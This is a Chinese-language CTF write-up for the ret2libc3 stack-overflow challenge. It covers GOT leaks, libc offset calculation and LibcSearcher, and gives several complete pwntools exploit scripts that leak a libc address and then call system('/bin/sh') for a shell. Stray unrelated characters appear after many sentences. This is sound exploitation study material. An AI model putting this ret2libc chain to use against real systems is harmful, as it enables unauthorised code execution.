主要借鑒wp
pwn學(xué)習(xí)之ret2libc3——偏移計(jì)算初體驗(yàn)http://www.reibang.com/p/5525dde00053
適合新手的ret2libc3之路https://blog.csdn.net/qq_41918771/article/details/90665950
泄漏libc獲取shell的模板https://blog.csdn.net/qq_38204481/article/details/80329676
Ret2libc3 http://www.reibang.com/p/cd8864615288
ret2libc3 http://www.reibang.com/p/df8645e63365
ret2libc3地址泄露https://blog.csdn.net/weixin_44642009/article/details/88630028
PWN學(xué)習(xí)闹击,對(duì)CTF-wiki上的講解進(jìn)行一些補(bǔ)充https://blog.csdn.net/qq_33948522/article/details/93880812
wiki上的鏈接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
開(kāi)了堆棧不可執(zhí)行保護(hù)
IDA main函數(shù)F5
有g(shù)ets函數(shù)烫罩,漏洞為棧溢出(申請(qǐng)64h大小,但是gets無(wú)限制)
沒(méi)有system函數(shù)也沒(méi)有binsh滓技,要通過(guò)libc的函數(shù)相對(duì)偏移找出system()的真實(shí)地址
那么我們?nèi)绾蔚玫?system 函數(shù)的地址呢?這里就主要利用了兩個(gè)知識(shí)點(diǎn):
- system 函數(shù)屬于 libc暴区,而 libc.so 動(dòng)態(tài)鏈接庫(kù)中的函數(shù)之間相對(duì)偏移是固定的肴茄。(記住公式:A真實(shí)地址-A的偏移地址 = B真實(shí)地址-B的偏移地址 = 基地址!)
- 即使程序有 ASLR 保護(hù)玉组,也只是針對(duì)于地址中間位進(jìn)行隨機(jī),最低的 12 位(三位十六進(jìn)制位)并不會(huì)發(fā)生改變丁侄。而 libc 在 github 上有人進(jìn)行收集惯雳,如下:https://github.com/niklasb/libc-database
所以如果我們知道 libc 中某個(gè)函數(shù)的地址,對(duì)比最低12位绒障,那么我們就可以確定該程序利用的 libc吨凑。
一般是采用 got 表泄露的方法來(lái)得到某函數(shù)地址,即輸出某個(gè)函數(shù)對(duì)應(yīng)的 got 表項(xiàng)的內(nèi)容户辱。當(dāng)然,由于 libc 的延遲綁定機(jī)制糙臼,我們需要泄漏已經(jīng)執(zhí)行過(guò)的函數(shù)的地址庐镐。
plt表:跳板,跳轉(zhuǎn)到一個(gè)地址來(lái)加載libc庫(kù)变逃。文件中會(huì)對(duì)每個(gè)用到的函數(shù)分配一個(gè)plt函數(shù)
got表:經(jīng)過(guò)plt表的跳轉(zhuǎn)會(huì)在got表上寫(xiě)入地址必逆,這個(gè)地址是函數(shù)調(diào)用的真實(shí)地址
注意:plt表只在程序調(diào)用函數(shù)之前有用,調(diào)用函數(shù)之后第二次執(zhí)行這個(gè)函數(shù)就不會(huì)經(jīng)過(guò)plt表揽乱。
我們自然可以根據(jù)上面的步驟先得到 libc名眉,之后在程序中查詢(xún)偏移,然后再次獲取 system 地址凰棉,但這樣手工操作次數(shù)太多损拢,有點(diǎn)麻煩,這里給出一個(gè) libc 的利用工具撒犀,具體細(xì)節(jié)請(qǐng)參考 readme
此外福压,在得到 libc 之后掏秩,其實(shí) libc 中也是有 /bin/sh 字符串的,所以我們可以一起獲得 /bin/sh 字符串的地址荆姆。
這里泄露 __libc_start_main 的地址蒙幻,這是因?yàn)樗浅绦蜃畛醣粓?zhí)行的地方(所以肯定已經(jīng)執(zhí)行過(guò))〉ㄍ玻基本利用思路如下:
1邮破、泄露 __libc_start_main 地址
2、獲取 libc 版本
3仆救、獲取 system 地址與 /bin/sh 的地址
4决乎、再次執(zhí)行源程序
5、觸發(fā)棧溢出執(zhí)行 system(‘/bin/sh’)
下面開(kāi)始干活
gdb爆偏移
gdb ret2libc3
cyclic 200(復(fù)制有規(guī)律亂碼)
r
(把有規(guī)律亂碼粘貼)
cyclic -l 0x62616164(報(bào)錯(cuò)地址)
上腳本
#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
elf = ELF('./ret2libc3') #以ELF為格式創(chuàng)建對(duì)象
puts_plt = elf.plt['puts']#puts的plt表的地址派桩,我們需要利用puts函數(shù)泄露
libc_start_main_got = elf.got['__libc_start_main']#函數(shù)的真實(shí)地址构诚,即我們要泄露的對(duì)象
main_plt = elf.symbols['main']#返回地址被覆蓋為main函數(shù)的地址,再次執(zhí)行main铆惑,以求再次溢出
print "puts_plt =",hex(puts_plt)
print "libc_start_main_got =",hex(libc_start_main_got)
print "main_plt =",hex(main_plt)
print "leak libc_start_main_got addr and return to main again"
#調(diào)用puts函數(shù)范嘱,打印泄漏libc_start_main函數(shù)的地址,最后返回main函數(shù)
payload = ''
payload += 'A'*112
payload += p32(puts_plt)#覆蓋返回地址為puts函數(shù)
payload += p32(main_plt)#這里是puts函數(shù)返回的地址
payload += p32(libc_start_main_got)#這里是puts函數(shù)的參數(shù)
sh.sendlineafter('Can you find it !?', payload)
#p.recvuntil(’Can you find it !?’)#接收掉原文件的輸出語(yǔ)句內(nèi)容员魏,如果不接收丑蛤,則輸入的payload便無(wú)法與之交互,文件的執(zhí)行就會(huì)一直處于等待狀態(tài)
#p.sendline(payload)
print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])#同u32(p.recv(4))撕阎,交互時(shí)接受返回的地址受裹,由于是32位的文件,recv(4)是指只接收四個(gè)字節(jié)的信息虏束,因?yàn)樾孤兜牡刂沸畔⒅淮嬖谟谇八膫€(gè)字節(jié)棉饶,u32是指解包unpack冒版,將一塊數(shù)據(jù)解包成四個(gè)字節(jié)
print "libc_start_main_addr =",hex(libc_start_main_addr)
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
#libc_binsh=next(libc.search("/bin/sh"))或binsh_libc = libc.search('/bin/sh').next()
print "libcbase =",hex(libcbase)
print "system_addr =",hex(system_addr)
print "binsh_addr =",hex(binsh_addr)
print "getshell"
payload = ''
payload += 'A'*104
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
main_plt = elf.symbols['_start']的差異
有的人main函數(shù)返回時(shí)用的是main_plt = elf.symbols['_start']赋续,從以下文章得知,_start調(diào)用了__libc_start_main彼水,__libc_start_main調(diào)用了main汗侵。用main_plt = elf.symbols['_start']的人第二次填充依舊是112幸缕,但是直接用main_plt = elf.symbols['main']的第二次填充個(gè)數(shù)為104。
https://blog.csdn.net/z_ryan/article/details/80985101
__start 這個(gè)符號(hào)是程序的起始
main 是被標(biāo)準(zhǔn)庫(kù)調(diào)用的一個(gè)符號(hào)
_start由匯編代碼實(shí)現(xiàn)晰韵。大致用如下偽代碼表示:
??
void _start()
{
%ebp = 0;
int argc = pop from stack
char ** argv = top of stack;
__libc_start_main(main, argc, argv, __libc_csu_init, __linc_csu_fini,
edx, top of stack);
}
第二次填充104的解釋
在這里解釋一下為什么是104发乔,其實(shí)我也不太知道,參考了以下文章雪猪,只是跟著他做
ret2libc3地址泄露https://blog.csdn.net/weixin_44642009/article/details/88630028
先貼一下這位作者的腳本(我略改了一下)栏尚,他是泄露puts函數(shù)的,道理同浪蹂,可以看見(jiàn)他在發(fā)送第一次payload后下了斷點(diǎn)進(jìn)行g(shù)db調(diào)試
#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import * #庫(kù)函數(shù)LibcSearcher
import pwnlib#能夠進(jìn)行動(dòng)態(tài)調(diào)試
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
p=process('./ret2libc3')
elf=ELF('./ret2libc3')
main=0x08048618
payload='a'*(0x6c+4)+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])
gdb.attach(p)
p.recvuntil('?')
p.sendline(payload)
puts=u32(p.recv(4))
print('puts',hex(puts))
libc =LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))
payload='a'*(0x64+4)+p32(system)+p32(0xdeadbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()
我運(yùn)行他的腳本抵栈,跟著他gdb告材,多次輸入n跟到這里
可以看到填充個(gè)數(shù)為EBP+0x4-(ESP+4)=0xffc0e300+0x4-(0xffc0e280+0x1c)=0x68=104,我不知道這里的0x1c是什么意思古劲,為什么要減掉它斥赋,希望得到指點(diǎn)。
把我自己的腳本改一下跟著他做产艾,結(jié)果也是104
我的改后版本疤剑,加了斷點(diǎn)
#-*-coding:utf-8-*-
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
import pwnlib
context.terminal=['gnome-terminal','-x','sh','-c']
sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main_plt = elf.symbols['main']
print "puts_plt =",hex(puts_plt)
print "main_plt =",hex(main_plt)
print "leak libc_start_main_got addr and return to main again"
payload = ''
payload += 'A'*112
payload += p32(puts_plt)#覆蓋返回地址為puts函數(shù)
payload += p32(main_plt)#這里是puts函數(shù)返回的地址
payload += p32(libc_start_main_got)#這里是puts函數(shù)的參數(shù)
gdb.attach(sh)
sh.sendlineafter('Can you find it !?', payload)
#p.recvuntil(’Can you find it !?’)
#p.sendline(payload)
print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
print "libc_start_main_addr =",hex(libc_start_main_addr)
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "libcbase =",hex(libcbase)
print "system_addr =",hex(system_addr)
print "binsh_addr =",hex(binsh_addr)
print "getshell"
payload = ''
payload += 'A'*104
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
可以看到填充個(gè)數(shù)為EBP+0x4-(ESP+0x1c)=0xff8322a0+0x4-(0xff832220+0x1c)=0x68=104
看了這篇文章得到了一些關(guān)于104的啟發(fā)
https://blog.csdn.net/qq_33948522/article/details/93880812
原來(lái)ESP+0x1c是IDA中顯示的覆蓋起始位置,這就不難理解填充個(gè)數(shù)為EBP+0x4-(ESP+0x1c)
還有一種方法是:
試錯(cuò)法
別人認(rèn)為一開(kāi)始時(shí)先寫(xiě)112闷堡,調(diào)試發(fā)現(xiàn)EIP=AAAA隘膘,ESP=AAAA,正常的應(yīng)該是EBP被覆蓋杠览,EIP為ret指令要返回的位置弯菊,ESP為棧中ret上方的內(nèi)容。故多了8個(gè)A踱阿,正確的應(yīng)覆蓋的大小為112-8=104
但是我覺(jué)得這樣好像不嚴(yán)謹(jǐn)管钳,因?yàn)橹灰斎氡日_的填充個(gè)數(shù)多8個(gè)及以上,那輸出的EIP和ESP都是AAAA软舌,所以我試著把它混入一個(gè)B才漆,我覺(jué)得這樣才能真正確定要減回幾個(gè)
把代碼
payload += 'A'*112
改成
payload += 'A'*111+'B'
看到ESP變成了AAAB,現(xiàn)在我才能放心減8
手動(dòng)選libc版本
對(duì)了佛点,忘了說(shuō)還有一點(diǎn)醇滥,運(yùn)行后我們可能會(huì)遇到返回多個(gè)libc版本庫(kù)的情況,人家原話(huà)是
可以通過(guò)add_condition(leaked_func, leaked_address)來(lái)添加限制條件超营,也可以手工選擇其中一個(gè)libc版本(如果你確定的話(huà))鸳玩。
因?yàn)槲也粫?huì)用add_condition,所以就一個(gè)一個(gè)去手動(dòng)選糟描,這里如果有工具查到libc版本就最好(貌似那個(gè)叫l(wèi)ibc database search的東西被502 bad gateway了)怀喉,手工試出來(lái)真正的版本是2,libc6_2.23-0ubuntu10_i386船响。
如果用LibcSearcher在終端輸命令的話(huà),也會(huì)找到4個(gè)版本躲履,道理跟上面是一樣的见间。
最后成功交互是這個(gè)亞子